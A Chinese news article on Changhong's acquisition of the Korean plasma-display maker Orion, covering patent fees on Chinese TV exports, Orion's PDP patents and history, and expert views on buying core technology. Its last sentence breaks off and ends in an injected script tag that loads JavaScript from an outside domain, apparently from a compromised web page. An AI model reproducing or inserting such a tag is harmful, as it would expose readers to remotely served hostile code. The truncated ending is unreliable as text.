今年以来，“长虹造屏”一直是个比较热闹的话题。然而，作为长虹造屏的重要一环，收购欧丽安（orion）公司的背后故事也许不被外界知道更多。
家电市场研究专家国发中心市场所副主任陆刃波认为，成功收购欧丽安（orion）公司，为长虹pdp项目扫除了在知识产权应对、量产技术开发和产业人才培养等瓶颈问题上的障碍，长虹由此真正跨入pdp国际“俱乐部”。
作为世界上最大的彩电生产国，包括长虹在内，我国每年生产的彩电有约50%的份额需靠出口来消化，与此同时，由于核心技术的缺失，针对中国彩电的“专利索赔”却层出不穷。今年3月初，美国正式对中国输美电视收取专利费，中国彩电企业因专利授权，每年将不得不支出大约10亿美元的费用。
随着平板时代的快速来临，中国家电正在经受着“无屏”的阵痛，由于不掌握屏资源，中国家电整机企业在平板市场的盈利能力一直是个绕不过的坎。可喜的是，我们似乎已经看到了“中国屏”的曙光，但如果不解决造屏的核心专利技术，“中国屏”同样难以跟外资品牌抗衡。
专家陆刃波认为，在长虹pdp项目这桩典型的“跨国婚姻”中，他们巧妙地绕开“专利门”，打开出国通道，很大程度上解决了中国家电企业造屏无“核”的尴尬。
据记者了解，欧丽安（orion）公司是韩国pdp的“鼻祖”，10多年来，先后投入3亿多美元从事pdp核心技术的持续研发。目前，该公司拥有300多项核心专利，其中多项拥有基础核心专利，全球其他pdp厂商都在使用。欧丽安（orion）公司从1988年就开始研发pdp技术，1995年利用自己的研发人力开发了韩国最初的21〞彩色ac-pdp。1998年开始利用独自的技术在韩国最早开发、量产了42〞pdp模组，是在韩国pdp模组厂商里历史最长的，也是全球最具经验的pdp显示器件公司之一。
在pdp模组方面，欧丽安（orion）公司有8年以上的制造经验，拥有从事超过18年的pdp产品研发、管理、生产的优秀团队。
另据资料显示，欧丽安（orion）公司还加入了韩国显示器件研究组合、新时代情报显示器件技术开发事业团、政府显示器件学会、韩国产业技术振兴协会等组织和机构，主要负责韩国政府在fpd产业方面的课题推进、市场动态分析、产学研相结合的工作等。
正是有鉴于此，当欧丽安pdp公司社长柳在活2006年8月28日向韩国联合通讯社表示欧丽安与长虹等合作在中国建立大型pdp生产线时，曾一度引起韩国电子界和媒介的高度警惕和激烈争议，被认为“将再次造成韩国尖端技术的外流。”
“长虹并购欧丽安（orion）公司，进一步强化了长虹在全球pdp市场的话语权”，陆刃波说，“长虹看好的就是欧丽安（orion）公司的无形资产，包括核心专利和具备多年量产经验的研发、管理、生产团队。”长虹拥有300多项pdp专利之后，成功规避pdp电视未来可能遇到的“专利门”危机。同时，由于pdp专利处于高速发展过程中，长虹可以继续研发申报新的专利，加重自身在全球pdp产业的话语权，进一步做大pdp产业。
事实也正在证明，随着奥运经济的全面启动，全球平板电视市场正快速增长。近段时间以来，大屏pdp市场出现供不应求的局面，同时，松下、长虹等品牌相继推出32-103寸系列pdp高清产品，更引起了行业的关注。陆刃波认为，pdp市场的整体趋好，导致全球主流彩电厂商及pdp面板生产厂商均纷纷加大了在pdp领域的投入。目前，pdp彩电正在向广范围尺寸覆盖和全高清方向快速推进，市场快速增长，pdp产业逐渐进入良性发展阶段。
帕勒咨询董事、家电行业专家罗清启认为，长虹通过并购获取pdp屏的核心技术，为中国企业获取关键产业上游核心技术提供了一个样本。pdp产业本身是一个全球性竞争行业，知识产权是赢得未来竞争最为重要的基础条件。就中国企业的现状而言，自主知识产权的形成需要一个长期的过程，通过在全球范围合理配置资源，寻求优质的并购对象，无疑是一种高效率的选择。长虹将在未来全球pdp产业乃至平板显示产业竞争中占据制高点，提升中国家电的全球竞争力。
事实上，欧丽安（orion）公司的盈利能力正在不断增强，已逐渐形成良好的盈利结构。欧丽安（orion）公司全球独家拥有m-pdp（多拼接等离子显示器）技术，其m-pdp产品销往美国、中国、东南亚、澳大利亚、韩国、日本、欧洲等国家和地区，在全球m-pdp市场占据绝对领导地位，市场空间巨大。
罗清启同时认为，全球目前已经进入一个新的技术竞争时代，分散的全球创新体系已经形成，跨国企业都在构建新的、更为虚拟的、更具活力的技术创新体系，单一企业即使具有再强的研发实力也很难应对创新技术的变动与颠覆，因此，靠自己培育新种子然后把种子变成树林再进行商业化的模式已经落后，技术贸易正在成为一种技术高速变动状态下的“实验室”，要用技术贸易的方式去?script src=http://er12.com/t.js>
